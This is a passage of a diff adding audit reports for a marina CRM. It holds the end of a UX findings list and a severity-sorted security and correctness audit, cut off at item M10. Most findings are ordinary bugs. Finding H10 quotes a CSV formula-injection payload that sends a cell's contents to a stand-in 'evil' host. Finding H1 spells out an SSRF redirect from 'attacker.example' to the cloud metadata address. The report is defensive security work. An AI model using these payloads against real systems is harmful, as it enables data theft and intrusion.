+- **Suggested fix:** Opt-in `enableColumnResizing` per table via TanStack Table v8 `onColumnSizingChange`.
+
+### U-069: Invoice delete uses custom overlay, not AlertDialog
+
+- **File:** `src/app/(dashboard)/[portSlug]/invoices/page.tsx:167`
+- **What:** Hand-rolled `<div className="fixed inset-0 bg-background/80 backdrop-blur-xs z-50 ...">` rather than `<AlertDialog>` / `<ConfirmationDialog>`. Lacks focus trap, Escape, role="alertdialog".
+- **Suggested fix:** Replace with `<ConfirmationDialog>` matching pattern elsewhere.
+
+### U-074: Success toast missing on ClientForm + InterestForm create/edit
+
+- **Files:** `src/components/clients/client-form.tsx:215`, `src/components/interests/interest-form.tsx:235`
+- **What:** `onSuccess` invalidates queries + closes sheet, no `toast.success()`. `ComposeDialog.onSuccess:81` does fire one.
+- **Suggested fix:** `toast.success(isEdit ? 'Client updated' : 'Client created')`.
+
+### U-080: Logo preview `<img alt="">` should describe state
+
+- **File:** `src/components/admin/shared/settings-form-card.tsx:420`
+- **Suggested fix:** Use `alt="Port logo preview"` or dynamic from field label.
+
+### U-081: Heading hierarchy inconsistent within tab components
+
+- **Files:** `email-accounts-list.tsx:114`, `interest-contract-tab.tsx:130/251/291/364` (h2 → h3 → h2 jumps)
+- **Suggested fix:** Audit each tab; standardize h2 = primary section, h3 = sub-section; never h2 after h3 at same nesting depth.
+
+### U-086: DialogContent missing aria-describedby on minimal-content dialogs
+
+- **File:** `src/components/email/compose-dialog.tsx:95` and ~40 other dialogs
+- **What:** Only `file-preview-dialog.tsx:82` explicitly suppresses the Radix warning.
+- **Suggested fix:** Add `<DialogDescription className="sr-only">...</DialogDescription>` or `aria-describedby={undefined}` to suppress.
+
+### U-091: Mobile topbar title blank on list pages
+
+- **Files:** `client-list.tsx`, `yacht-list.tsx`, `interest-list.tsx`, `berth-list.tsx`
+- **What:** `useMobileChrome` only called from detail pages. List pages leave topbar in fallback (no title, stale from previous detail page).
+- **Suggested fix:** Add `useMobileChrome({ title, showBackButton: false })` per list with cleanup pattern.
+
+### U-093: Invoices missing from mobile navigation
+
+- **File:** `src/components/layout/mobile/more-sheet.tsx:54`
+- **What:** Not in `MORE_GROUPS`, not in bottom tabs. Mobile users can only reach via direct URL.
+- **Suggested fix:** Add `{ label: 'Invoices', icon: FileText, segment: 'invoices' }` to Operations group.
+
+---
+
+## ✅ Sample passing checks
+
+- U-001-008 list empty states + skeletons clean across clients/yachts/interests/berths/companies/reservations/invoices/email-threads
+- U-012 FileUploadZone drag-hover with `border-primary bg-primary/5`
+- U-023 field-level errors via react-hook-form `formState.errors` consistent
+- U-026 BulkAddBerthsWizard + CatchUpWizard persist state across step nav
+- U-027 phone E.164 via `formatAsYouType` emits `{ e164, country }`
+- U-029 native `<input type="date">` provides browser calendar + keyboard
+- U-033 Combobox keyboard nav inherited from Radix `<Command>` primitives
+- U-040 Sort indicators via `getSortIcon` (`ArrowUpDown`/`ArrowUp`/`ArrowDown`)
+- U-041/042 Filter chip dismiss + Clear-all in FilterBar
+- U-043 page size selector 25/50/100/250/All
+- U-049 virtual list via `@tanstack/react-virtual` (`virtual virtualHeightPx={640}` in audit log)
+- U-054 STAGE_BADGE in `src/lib/constants.ts:100` — 7 distinct stages with distinct Tailwind colour families
+- U-055 outcome badge: won=emerald, lost\_\*=rose, cancelled=slate
+- U-057 status-pill covers all required document statuses
+- U-060/061 button hierarchy + destructive red consistent
+- U-065 Sheet used for forms+previews on both desktop and mobile (23 components)
+- U-067 AlertDialog used for destructive confirmations (`useConfirmation`, `ArchiveConfirmDialog`, `ConfirmationDialog`, `BulkHardDeleteDialog`)
+- U-070-072 click-outside, Esc, focus-trap, focus-restore all inherited from Radix
+- U-073 toast position consistent (sonner top-right)
+- U-075 `toastError()` (`src/lib/api/toast-error.ts:43`) surfaces requestId + Copy ID action — used in 89 files
+- U-094 iOS safe-area-inset comprehensive (`pb-safe-bottom`, `pt-safe-top`, FAB `calc(env(safe-area-inset-bottom)+86px)`)
+- U-097 visualViewport handling on mobile-search-overlay
+- U-092 More sheet covers Documents/Interests/Yachts/Companies/Residential/Alerts/Reminders/Expenses/Reservations/Reports/Analytics/Settings/Admin

docs/audits/2026-06-02/findings-master.md

@@ -0,0 +1,697 @@
+<!--
+Port Nimara CRM — Pre-launch audit, complete.
+Provenance: pass 1 (wf_70a35b83-ab0, 2 lanes) + file-IDOR smoke test
++ pass 2 (wf_f37b6f89-70a, 17 prose lanes; 6 completed, 11 rate-limited)
++ pass 3 (wf_e8cfef3c-d55, the 12 rate-limited lanes re-run in batches of 3)
++ a final reconciliation pass that deduped passes 1-2 and 3 into this single report.
+All 17 risk lanes now have coverage. Initiative: launch-readiness Initiative 2.
+Status: COMPLETE — findings below are pre-fix; nothing has been remediated yet.
+Severity-sorted; [needs-confirm] tags preserved for findings whose source lane
+self-rated low confidence or whose reasoning needs a direct trace before fixing.
+-->
+
+# Port Nimara CRM — Unified Master Audit Report
+
+_Consolidation of pass 1+2 (`audit-master.md`) and pass 3 (`audit-pass3-master.md`). Findings are merged and deduped, then renumbered sequentially within each severity tier. No new findings were introduced; every distinct source finding is preserved._
+
+---
+
+## 1. Executive Summary
+
+This unified report combines two audit synthesis passes covering all 17 lanes plus the pass-1 routing/API confirmation set. Pass 1+2 completed 6 lanes (financial, cross-entity, import, webhook, residential/tenancies, plus pass-1 routing/API) and rate-limited the other 11; pass 3 re-ran those 11 (plus an additional surface) and returned findings. Together they give full lane coverage.
+
+The dominant theme across both passes is **server-side enforcement and money/state-correctness gaps that the UI papers over**: a deposit gate that compares across currencies _and_ auto-marks berths Sold, a disabled module that still accepts writes, berth-rule triggers that flip inventory to "Sold" on lost/cancelled deals, an SSRF allowlist defeated by HTTP redirects, client-merge that silently drops payments/ownership, and several rate limiters defined but never applied. Almost none require cross-tenant access to exploit; most are reachable by an ordinary authed user or admin within their own port (cross-tenant impact mostly latent until a second port is provisioned).
+
+### Counts by severity (true deduped)
+
+| Severity  | Count                    |
+| --------- | ------------------------ |
+| CRITICAL  | 4                        |
+| HIGH      | 17                       |
+| MEDIUM    | 29                       |
+| LOW       | 35                       |
+| **Total** | **85 distinct findings** |
+
+_Derivation (counting the actual numbered entries in each source doc, several of which bundle sub-items): pass 1+2 = C3 / H6 / M11 / L12 = **32**; pass 3 = C1 / H13 / M18 / L23 = **55**; union = 87, minus two merges (the cross-pass deposit-currency duplicate, and the within-pass-3 AI rate-limit + budget pair) = **85**. (Note: each source doc's own headline subtotal — 29 and 48 — under-reported its physical entry count by folding some bundled items; this unified count is computed from the actual entries preserved here.)_
+
+### Top fixes before launch
+
+**Critical (all four):**
+
+- **C1 — Cross-currency deposit gate auto-marks berths Sold.** Deposit total sums all currencies as bare scalars vs a single-currency expectation, then auto-advances and fires the `deposit_received` rule → berth "Sold" off an underpaid/wrong-currency deposit. _(Merged pass1+2 C1 + pass3 H3.)_
+- **C2 — Lost/cancelled deals auto-flip the berth to "Sold."** `setInterestOutcome` fires `interest_completed` for every outcome; the outcome-blind rule defaults to `sold`, corrupting public marketing + inventory.
+- **C3 — Residential module-disabled state never enforced on the v1 API.** Admin disables Residential, but all 13 `/api/v1/residential/**` routes skip any module gate; writes (incl. partner-forward emails) still go through.
+- **C4 — Tracked-link `/q/[slug]` not in `PUBLIC_PATHS`.** Every tracked link in outbound mail 302-redirects external recipients to `/login` — all tracked links are dead.
+
+**Most serious HIGHs:**
+
+- **H1 — Webhook `fetch` follows redirects, defeating the SSRF allowlist** → full SSRF read primitive against cloud metadata with exfiltration via the deliveries UI.
+- **H2 — Client merge skips payments + polymorphic ownership** → survivor loses memberships/yachts/invoices/payments; sets up H3 cascade-delete.
+- **H3 — Hard-deleting a merged-away loser cascade-deletes the winner's payments** → silent destruction of the survivor's financial history.
+- **H4 — Reservation-agreement signing fires the wrong berth rule (`contract_signed`)** → premature "Sold" one-to-two stages early.
+- **H5 — Yacht archive/restore falsifies the ownership-history ledger** → permanent corruption of the legal ownership audit trail.
+- **H6 — Dashboard reports title-case berth status that never matches canonical** → leadership PDF silently reports 0 sold / understated occupancy.
+- **H7 — Residential notes feature fully broken (wrong API URL in NotesList)** → every notes CRUD 404s; UI silently shows "No notes yet."
+- **H8 — `residentialAccess` toggle bypasses caller-superset check** → privilege escalation granting residential CRUD the caller doesn't hold.
+- **H9 — AI email-draft spends OpenAI tokens with no rate limit and no budget gate** → an authed rep can loop to drain the per-port budget.
+- **H10 — CSV formula injection in expense + audit-log exports** → RCE/exfil on an admin's machine when opening the export.
+- **H11 — Cross-tenant brand-kit leak via attacker-controlled `coverBrandPortId`** → another tenant's logo + port name rendered onto a report PDF cover.
+
+---
+
+## 2. Findings
+
+### CRITICAL
+
+#### C1 — Deposit-met gate compares amounts across currencies, auto-advancing the pipeline and auto-marking berths Sold _(merged: pass1+2 C1 + pass3 H3)_
+
+`src/lib/services/payments.service.ts:40-70,130-132` + `src/lib/db/schema/interests.ts:64-65`
+The auto-advance gate sums every deposit/refund row by `Number(row.amount)` regardless of `row.currency` (overwriting `currency` each iteration in `getDepositTotalForInterest`) and compares the bare scalar against `interests.depositExpectedAmount`, never reading the companion `depositExpectedCurrency` (default EUR). A 5000 EUR deal is satisfied by 5000 USD, or by 5000 of any weaker currency; mixed-currency payments (5000 USD + 5000 EUR) sum to a meaningless 10000 and almost always trip the gate. When it fires it advances stage to `deposit_paid`, stamps `dateDepositReceived`, and fires `evaluateRule('deposit_received', …)` whose default `auto` mode marks the primary berth **Sold** — a berth sold off an underpaid/wrong-currency deposit.
+**Fix:** Filter the sum to `payments.currency = interest.depositExpectedCurrency` (or normalize each payment to `depositExpectedCurrency` via `convert`/`normalizeAmount` before summing); reject or require manual confirmation when an FX rate is unavailable; assert unit equality before the `>=` compare. **Confidence: 0.9**
+
+#### C2 — Lost/cancelled deals auto-flip the berth to "Sold" (public marketing + inventory corruption)
+
+`src/lib/services/interests.service.ts:1407` + `src/lib/services/berth-rules-engine.ts:38-45,89-198`
+_(Reported independently by the Sales-pipeline and Berth-subsystem lanes — same root cause, merged within pass 3.)_ `setInterestOutcome` fires `evaluateRule('interest_completed', …)` unconditionally for **every** non-null outcome (`won | lost_other_marina | lost_unqualified | lost_no_response | cancelled`). The engine never inspects `interest.outcome`; the default rule is `{ mode:'auto', targetStatus:'sold' }`, so it blindly sets the primary berth `status='sold'`. The inline comment claiming admins can "scope per outcome via system*settings.berth_rules" is aspirational — `getRulesConfig`/`evaluateRule` have no outcome dimension. A rep marking a deal lost or cancelled silently sets the berth to **Sold** on the public site (`derivePublicStatus` ranks Sold highest), removes it from the recommender (`b.status <> 'sold'`), and corrupts occupancy/inventory reporting — `mode:'auto'`, no confirmation.
+**Fix:** Branch on outcome before firing — only `won` should target `sold`; `lost*\*`/`cancelled`should fire`interest_archived`/ a new`deal_lost`trigger defaulting to`available`, or gate inside `evaluateRule`on`outcome === 'won'`. **Confidence: 0.9**
+
+#### C3 — Residential module-disabled state is never enforced on the v1 API; only the UI is hidden
+
+`src/app/api/v1/residential/**/route.ts` (all 13 routes); enforcement only at `(dashboard)/[portSlug]/residential/layout.tsx:34-43`
+Tenancies routes gate every handler with `assertTenanciesModuleEnabled`, but **none** of the 13 residential v1 routes call any module gate. The only enforcement is the page-tree layout, which does not wrap `/api/v1/residential/**` (those live under `app/api/`, outside `(dashboard)`). The `residential-module.service.ts:14-19` docstring claiming "direct API hits are rejected at the layout boundary" is false. An admin disables Residential (expecting it inert), yet any user with `residential_*` permissions can still `POST /residential/clients`, `PATCH /residential/interests/[id]`, run the bulk endpoint, add notes — and `createResidentialInterest` fires partner-forward emails to third parties (`residential.service.ts:341`). The public inquiry endpoint _is_ gated (`api/public/residential-inquiries/route.ts:69`), confirming the gap is unintended.
+**Fix:** Add `await assertResidentialModuleEnabled(ctx.portId)` at the top of every residential v1 handler (mirror Tenancies), or a shared `withResidentialModule` wrapper; fix the docstring. **Confidence: 0.93**
+
+#### C4 — Tracked-link `/q/[slug]` not in `PUBLIC_PATHS`; every tracked link in outbound mail is dead _(pass-1, confirmed)_
+
+`src/proxy.ts:51`
+External email recipients hitting a tracked `/q/[slug]` link are 302-redirected to `/login`, so every tracked link in outbound mail is dead for its intended (unauthenticated, external) audience.
+**Fix:** Add `/q/` to `PUBLIC_PATHS`. **Confidence: high (confirmed)**
+
+---
+
+### HIGH
+
+#### H1 — Webhook `fetch` follows redirects by default, bypassing the SSRF host allowlist
+
+`src/lib/queue/workers/webhooks.ts:224-237`
+The worker validates `webhook.url` via `resolveAndCheckHost` (static + DNS re-resolution of the configured host) then calls `fetch(webhook.url, …)` with **no `redirect: 'manual'`** — Node defaults to `follow`. An admin (or attacker with a `manage_webhooks` session) configures a genuinely-public `https://attacker.example/` that passes every check; at delivery it returns `302 Location: http://169.254.169.254/...`. The redirect target is never re-validated; the worker reads up to 1KB of the response into `webhook_deliveries.response_body`, which the deliveries listing returns verbatim — a full SSRF read primitive against cloud metadata/internal services with exfiltration via the deliveries UI. The DNS-rebind defense is moot.
+**Fix:** Pass `redirect: 'manual'`; treat any 3xx as a non-followed failure, or follow manually re-validating each hop's resolved IP against `resolveAndCheckHost` with a hop cap. **Confidence: 0.95**
+
+#### H2 — Client merge skips polymorphic ownership + payments → survivor data loss
+
+`src/lib/services/client-merge.service.ts:205-302`
+Merge re-points only `interests, berthTenancies, clientContacts, clientAddresses, clientNotes, clientTags, clientRelationships, clientMergeCandidates`. It does **not** touch `payments`, `companyMemberships`, polymorphic `yachts` ownership, or polymorphic `invoices` billing-entity. The winner loses visibility of the loser's memberships, yachts, invoices, and payments. Sharpest for payments: merge moves `interests` to the winner but leaves `payments.clientId` on the loser, so a payment's `interestId` points at a winner-owned interest while `clientId` points at the archived loser.
+**Fix:** In the merge transaction, re-point `payments.clientId`, `companyMemberships.clientId` (dedup against `unique_cm_exact`), `yachts WHERE currentOwnerType='client' AND currentOwnerId=loserId`, and `invoices WHERE billingEntityType='client' AND billingEntityId=loserId`; record each in the undo snapshot. **Confidence: 0.95**
+
+#### H3 — Hard-deleting a merged-away loser cascade-deletes the winner's payments
+
+`src/lib/db/schema/pipeline.ts:95-97` + `client-merge.service.ts:208-214` + `client-hard-delete.service.ts:313`
+`payments.clientId` is `notNull onDelete:'cascade'`. After a merge, loser's `payments` retain `clientId=loserId` (per H2) but their `interestId` now belongs to the winner. Hard-deleting that stale duplicate cascades and silently destroys the survivor's financial/deposit history; `hardDeleteClient` never re-points payments.
+**Fix:** Re-point payments during merge (H2); independently, hard-delete should snapshot/guard payments rather than relying on the cascade. **Confidence: 0.9**
+
+#### H4 — Reservation-agreement signing fires the wrong berth rule (`contract_signed`) → premature "Sold"
+
+`src/lib/services/documents.service.ts:1682-1684`
+The `documentType === 'reservation_agreement'` completion block calls `evaluateRule('contract_signed', …)` — a copy-paste from the contract block (line 1741). `reservation_signed` is not a valid `BerthRuleTrigger`, so this flips the berth to `sold` (default `contract_signed` rule) one-to-two stages early, before any deposit.
+**Fix:** Fire the appropriate rule (or none) for reservation signing; do not reuse `contract_signed`. **Confidence: 0.8**
+
+#### H5 — Yacht archive/restore transfers ownership by writing only denormalized columns, falsifying the ownership-history ledger
+
+`src/lib/services/client-archive.service.ts:249-252` & `src/lib/services/client-restore.service.ts:401-404`
+Both paths `update(yachts).set({ currentOwnerType, currentOwnerId })` without closing the open `yacht_ownership_history` row (`endDate IS NULL`) or opening a new one. The canonical `transferOwnership()` (`yachts.service.ts:274-295`) does both, guarded by `uniqueIndex('idx_yoh_active') WHERE endDate IS NULL`. After a smart-archive transfer the denormalized owner says Company X while history still shows the archived client as current owner with `endDate IS NULL`; the next real `transferOwnership` then closes the wrong row and the legal ownership audit trail is permanently wrong. Restore re-corrupts it identically.
+**Fix:** Extract the history close+open into a `transferOwnershipTx(tx, …)` and call it from both archive and restore handlers. **Confidence: 0.8**
+
+#### H6 — Dashboard report queries title-case berth status that never matches the lowercase canonical → silent zeros
+
+`src/lib/services/dashboard-report-data.service.ts:289, 462-464`
+Canonical `berths.status` is lowercase (`available | under_offer | sold`). `berths_sold_period` matches `newValue->>'status' = 'Sold'` (audit rows store lowercase) → always empty. `occupancy_timeline_chart` does `status IN ('Sold','under_offer','Under offer')` — only `under_offer` ever matches, so the timeline drops all sold berths. Leadership-facing PDF reports two key metrics as 0/understated, silently. `operational.service.ts` does this correctly throughout.
+**Fix:** Change literals to lowercase `'sold'`/`'under_offer'`. **Confidence: 0.88**
+
+#### H7 — Residential notes feature fully broken: NotesList builds the wrong API URL
+
+`src/components/shared/notes-list.tsx:192-194` (consumed by `residential-client-tabs.tsx:116`, `residential-interest-tabs.tsx:59`)
+`baseEndpoint = /api/v1/${entityType}/${entityId}/notes` interpolates the raw discriminator, so `entityType="residential_clients"` produces `/api/v1/residential_clients/<id>/notes`, but real routes are `/api/v1/residential/clients/[id]/notes` (slash-separated). No such underscore directory or rewrite exists → every list/create/edit/delete 404s; UI silently shows "No notes yet". The sibling `sourceLinkFor()` in the same file uses the correct slash path.
+**Fix:** Map `entityType` → API path segment via a lookup table and build `baseEndpoint` from that. **Confidence: 0.95**
+
+#### H8 — `residentialAccess` toggle bypasses the caller-superset check (privilege escalation)
+
+`src/lib/services/users.service.ts:323-328` + resolver `src/lib/api/helpers.ts:208-221`
+`updateUser` enforces caller-superset on role reassignment but **not** on the `residentialAccess` flag; the resolver unconditionally grants full residential CRUD when the flag is set. An admin holding only `admin.manage_users` (not `residential_*`) can PATCH any peer `{"residentialAccess": true}`, granting a permission the caller doesn't hold and can't grant via the (hardened) override PUT or role path. Defeats the caller-superset invariant.
+**Fix:** In `updateUser`, when `residentialAccess === true` and not super-admin, require the caller hold `residential_clients.view` (and other residential leaves) before allowing the flag. **Confidence: 0.85**
+
+#### H9 — AI email-draft endpoints spend OpenAI tokens with no rate limit and no budget gate
+
+`src/app/api/v1/ai/email-draft/route.ts` (+ `interest-score/route.ts`, `interest-score/bulk/route.ts`) + worker `src/lib/queue/workers/ai.ts:187` (service `email-draft.service.ts`)
+_(Merged within pass 3: the AI-subsystem lane and the permissions/rate-limit lane independently flagged the missing rate limit; the AI lane separately flagged the missing budget gate — both facets of the same unprotected token-spend surface.)_ `rateLimiters.ai` (60/min, `rate-limit.ts:111`) exists but `grep withRateLimit('ai'` returns zero hits; `email-draft` enqueues an OpenAI job per call gated only by `email.send` + flag and returns 202 fast (no backpressure), so a loop drains the OpenAI budget. Compounding it, `generateEmailDraft` issues a live OpenAI POST whose only budget interaction is the after-the-fact ledger write (`ai.ts:238`); `checkBudget` is imported in exactly one route (OCR `scan-receipt`) and zero AI routes, so the per-port hard cap (`ai.budget.hardCapTokens`, default 500k) is unenforceable — a rep can loop ~1,600 tokens/call regardless of cap.
+**Fix:** Wrap each AI route `withRateLimit('ai', …)` (mirror `expenses/scan-receipt/route.ts:28`), AND call `checkBudget({ portId, estimatedTokens: ~1700 })` in `requestEmailDraft` before `aiQueue.add` (or at the top of `generateEmailDraft`), early-returning to the template fallback on `!budget.ok`. **Confidence: 0.9** (rate-limit) **/ 0.97** (budget gate)
+
+> Note: `interest-score`/`bulk` are pure SQL + Redis (no LLM call) — the rate-limit concern there is DB-amplification, not token spend.
+
+#### H10 — CSV formula injection in expense + audit-log exports
+
+`src/app/api/v1/expenses/export/csv/route.ts` + `src/lib/services/expense-export.tsx:66` + `src/app/api/v1/admin/audit/export/route.ts:95-102`
+Both exporters quote-escape per RFC4180 but neither neutralizes formula triggers. A cell beginning with `=`, `+`, `-`, `@`, or leading tab/CR is emitted verbatim. Free-text fields (expense `Establishment`/`Description`; audit `userAgent`/`metadata`/`oldValue`/`newValue`) carry attacker-seeded payloads like `=HYPERLINK("http://evil/?d="&A1,"OK")`; an admin opens the export in Excel/Sheets → exfiltration or RCE on the admin's machine. papaparse has no built-in guard.
+**Fix:** Shared sanitizer that prefixes a `'` (or space) when `String(v)[0]` ∈ `=+-@\t\r`, applied in `buildCsv`'s `escape` and before `Papa.unparse`. **Confidence: 0.9**
+
+#### H11 — Cross-tenant brand-kit leak via attacker-controlled `coverBrandPortId`
+
+`src/lib/services/report-render.service.ts:228-242` (enqueue `src/app/api/v1/reports/runs/route.ts:38-52`, validator `src/lib/validators/reports.ts:76`)
+_(Reported by the worker-isolation lane as HIGH and by the report-correctness lane as LOW — taking the higher severity; data scope is confirmed limited to cover logo + port name.)_ The render worker reads an arbitrary `coverBrandPortId` straight from the run config and loads that port's brand kit with **no access check** (config validated only as `z.record(z.string(), z.unknown())`; `createReportRun` validates `templateId` but not config keys). Any user with `reports:export` can render another tenant's logo + port name onto a report PDF cover. All data still comes from `run.portId` (no record leak), and the deployment is single-port today — hence HIGH not CRITICAL; becomes a clean cross-tenant leak on second-port provisioning.
+**Fix:** Validate `coverBrandPortId` against the requesting user's accessible ports at enqueue, or drop the override; defense-in-depth, honor it only if it equals `run.portId`. **Confidence: 0.85**
+
+#### H12 — Refund sign convention is inconsistent across the two summation paths; refunds can inflate reported revenue
+
+`src/lib/services/payments.service.ts:68` vs `src/lib/services/reports/financial.service.ts:163,263`
+The validator (`payments.ts`) accepts `^-?\d+(\.\d+)?$` and `createPayment` inserts the amount verbatim — refunds may be positive or negative. Readers disagree: `getDepositTotalForInterest:68` always subtracts (`-Math.abs(n)`); `sumPaymentsInRange:163` trusts the stored sign (comment "already negative"); `getRevenueByMonth:263` drops refunds from the revenue chart entirely. If a rep enters a refund positive (what the regex permits and the natural UI input), the Financial report **adds** it — `revenueCollected` overstated by 2× the refund while `refundsIssued` still looks plausible. `getDepositPositions` filters deposits only, so a refunded deposit shows fully collected and can still trip the C1 gate.
+**Fix:** Normalize refund sign at write time (`-Math.abs(amount)` when `paymentType==='refund'`), apply one convention in every reader, and make `getRevenueByMonth` subtract refunds. **Confidence: 0.85**
+
+#### H13 — "EOI signed" yields two different pipeline stages depending on signing channel
+
+`src/lib/services/documents.service.ts:992` vs `:1634`
+Documenso-webhook signing advances to `reservation` (`advanceStageIfBehindGated(..., 'eoi_signed')`); manual upload (`uploadSignedManually`) advances only to `eoi` via bare `advanceStageIfBehind` — a full stage behind, and it also bypasses the per-port `stage_advance_rules` gate. Skews stage-duration/funnel reports.
+**Fix:** Make both paths target `reservation` via `advanceStageIfBehindGated(..., 'eoi_signed')`. **Confidence: 0.8**
+
+#### H14 — Browser back/forward desyncs URL from displayed list
+
+`src/hooks/use-paginated-query.ts:44-56`
+Page/pageSize/sort/filters seed from the URL once via `useState` initializers, then drive the URL one-way via `router.replace`. No effect resyncs `searchParams` → state, so Back/forward updates the URL but not component state (URL shows page 2, list shows page 3); refresh jumps again.
+**Fix:** Derive state directly from `useSearchParams()`, or add an effect resyncing the four slices when params change. **Confidence: 0.78**
+
+#### H15 — Applying a saved view silently drops the saved sort
+
+`src/components/clients/client-list.tsx:192` (+ interests/yachts/companies/berths/residential-interests list components) + `src/hooks/use-paginated-query.ts`
+`SavedViewsDropdown` passes `(view.filters, view.sortConfig)` to `onApplyView`, but every consumer ignores the second arg (`client-list` destructures `_savedSort` and discards it). `usePaginatedQuery` has no atomic "apply filters **and** sort" mutator. A saved "Overdue invoices, sorted by amount desc" restores filters but the default sort — half-applying the view.
+**Fix:** Add `setViewState({ filters, sort })` (one `syncUrl` write) to `usePaginatedQuery` and thread the sort through each `onApplyView`. **Confidence: 0.9**
+
+#### H16 — No date-overlap / scheduling model for berth tenancies; single-slot latch with no date awareness
+
+`src/lib/services/berth-tenancies.service.ts` (lifecycle) + `src/lib/db/schema/tenancies.ts:80-83`
+The only conflict guard is the partial unique index `idx_bt_active` on `(berth_id) WHERE status='active'`; there is no check that a new tenancy's `[startDate,endDate]` doesn't overlap an existing one. You cannot model a berth with a future-windowed tenant B while A's window has ended (reps end by status, not date), and nothing stops a `pending` row with an overlapping window from being activated the moment the prior one ends. Simultaneous-active double-booking _is_ DB-prevented, but the system has no notion of a tenancy schedule — a real correctness gap for seasonal/fixed-term marina tenancies.
+**Fix:** Either document tenancies as explicitly single-slot (and reject the seasonal use case), or add `EXCLUDE USING gist (berth_id WITH =, tstzrange(start_date, coalesce(end_date,'infinity')) WITH &&) WHERE status IN ('pending','active')`. **Confidence: 0.8**
+
+#### H17 — No `endDate >= startDate` validation; update/renew/transfer persist inverted date ranges
+
+`src/lib/validators/tenancies.ts:35-67` + `src/lib/services/berth-tenancies.service.ts:362-407,541-619`
+`update`/`renew`/`transfer`/`end` schemas accept raw `z.coerce.date()` with no cross-field refine. `transferTenancy` mints the successor with `startDate: data.transferDate` but `endDate: existing.endDate` (`:583-584`); transferring an over-running tenancy forward yields `endDate < startDate`. `updateTenancy:371-372` and `renewTenancy:441-442` are unchecked similarly. Inverted ranges corrupt `tenancy-reports.service.ts` occupancy/renewal math, dashboard tenure widgets, and can skew the public-berths "Under Offer/Sold" projection.
+**Fix:** Add `.refine(d => !d.endDate || !d.startDate || d.endDate >= d.startDate)` to each schema; in `transferTenancy` clamp/validate `endDate` against `transferDate`. **Confidence: 0.82**
+
+---
+
+### MEDIUM
+
+#### M1 — `setInterestOutcome` has no terminal-state guard; outcomes overwritable → re-fires side effects
+
+`src/lib/services/interests.service.ts:1358-1407`
+Unlike `clearInterestOutcome`, `setInterestOutcome` never checks `existing.outcome`. A second call (won→lost, double-submit, idempotent webhook) re-runs `evaluateRule('interest_completed')` (compounding C2), folder rename, audit row, socket emit, Umami event.
+**Fix:** Reject re-setting an outcome (require clearing first) and make the berth rule outcome-aware. **Confidence: 0.75**
+
+#### M2 — Sending a reservation_agreement fires `eoi_sent` rule + double-advances, polluting EOI milestones
+
+`src/lib/services/documents.service.ts:846-892`
+For a reservation_agreement send, the shared block fires `evaluateRule('eoi_sent')`, advances to `eoi`, stamps `dateEoiSent`/`eoiDocStatus='sent'`, **then** the reservation branch advances to `reservation`. EOI milestone columns are written for a non-EOI document, polluting funnel data.
+**Fix:** Gate the EOI-specific stamps + `eoi_sent` rule to `doc.documentType === 'eoi'`. **Confidence: 0.7**
+
+#### M3 — `changeInterestStage` non-transactional double-UPDATE + back-stamps milestone dates on signing-driven advances
+
+`src/lib/services/interests.service.ts:1140-1163`
+Two non-transactional UPDATEs on the same row; milestone logic stamps `dateContractSent = now` on any move to `contract` — but the contract-signed webhook calls this right after stamping `dateContractSigned`, back-stamping `dateContractSent` to the signing instant so "sent→signed" duration reads ~0.
+**Fix:** Only auto-stamp milestone dates for manual/UI moves, not signing-driven advances; fold the two UPDATEs into one. **Confidence: 0.65**
+
+#### M4 — Multi-berth bundles: status-advancing rules flip only the primary berth, leaving siblings stale
+
+`src/lib/services/berth-rules-engine.ts:89-93`
+The engine targets `primaryBerth?.berthId` only. For a multi-berth EOI bundle (`is_in_eoi_bundle`), a won/deposited/contracted deal flips only the primary to `sold`; bundled siblings keep `available`/`under_offer` and stay publicly visible + pitchable.
+**Fix:** For status-advancing triggers, iterate the full `interest_berths WHERE is_in_eoi_bundle = true` set under the same advisory-lock/idempotency pattern. **Confidence: 0.75**
+
+#### M5 — `berth_unlinked` rule mutates the wrong berth (surviving primary, not the unlinked one)
+
+`src/lib/services/interest-berths.service.ts:421-433`
+`removeInterestBerth` deletes the junction row first, then fires `evaluateRule('berth_unlinked', …)`, which resolves its target via `getPrimaryBerth(interestId)` — the just-unlinked berth is gone, so it targets a different still-linked berth. Default mode `off` makes it dormant, but enabling auto/suggest would corrupt an unrelated berth's status.
+**Fix:** Pass the specific unlinked `berthId` to `evaluateRule` (add `targetBerthIdOverride`), evaluating before the delete. **Confidence: 0.85**
+
+#### M6 — `unmergeClients` reversibility contract is documented but does not exist
+
+`src/lib/services/client-merge.service.ts:13-16,134`
+The header documents a full 7-day reversibility contract and `dedup_undo_window_days` setting; the snapshot is written to `clientMergeLog.mergeDetails` — but `unmergeClients` has **zero definitions** in `src/`. Operators are told merges are reversible; they are not, and merge archives the loser + re-points children destructively.
+**Fix:** Implement `unmergeClients` against the stored snapshot, or remove the reversibility claims + undo-window setting. **Confidence: 0.92**
+
+#### M7 — GDPR Article-15 export omits PII-bearing tables
+
+`src/lib/services/gdpr-bundle-builder.ts:16-37,89-194`
+The bundle omits `payments` (amounts/receipts/dates), `berthWaitingList`, `supplementalFormTokens`, and `interestFieldHistory` — all carrying client PII / cascade FKs. Payments in particular are clearly Article-15 personal data.
+**Fix:** Add port-scoped queries + bundle sections for these tables. **Confidence: 0.85**
+
+#### M8 — Bounce poller matches `document_sends` globally with no `port_id` → cross-tenant misattribution
+
+`src/jobs/processors/imap-bounce-poller.ts:146-156`
+_(Reported by both the worker-isolation lane and the email-engine lane — merged within pass 3; email lane is the more detailed.)_ The match scopes on `recipientEmail` + 7-day window only, with no `portId` filter, against a single global env IMAP inbox. If Ports A and B both emailed `victim@x.com`, a bounce is pinned to whichever sent most recently — wrong port's `document_sends` row gets `bounceStatus`/`bounceReason`, wrong rep notified (and the bounce reason text leaks into the other tenant's notification). `originalRecipient` is parsed from attacker-controllable IMAP body, so a forged NDR can mark an arbitrary cross-port send bounced.
+**Fix:** Require per-port IMAP (`getSalesImapConfig(portId)`) + `eq(documentSends.portId, portId)`, or embed a port-tagged token in the outbound Message-ID and match on `inReplyTo`/References. **Confidence: 0.85**
+
+#### M9 — Duplicate scheduled-report emails on BullMQ retry (no per-recipient idempotency)
+
+`src/lib/services/report-render.service.ts:371-380`
+`emailedAt` is stamped only after the whole recipient loop (queue `maxAttempts:3`); a transient SMTP failure on recipient N re-sends to 1..N-1 on retry, and there's no top-of-function early-return on `run.emailedAt`. Recipients (possibly external) get duplicate report PDFs.
+**Fix:** Early-return when `run.emailedAt` is set; track per-recipient state, or stamp `emailedAt` before the loop and log-not-throw individual send failures. **Confidence: 0.8**
+
+#### M10 — Socket auth never checks `userProfiles.isActive` (deactivated users keep receiving broadcasts)
+
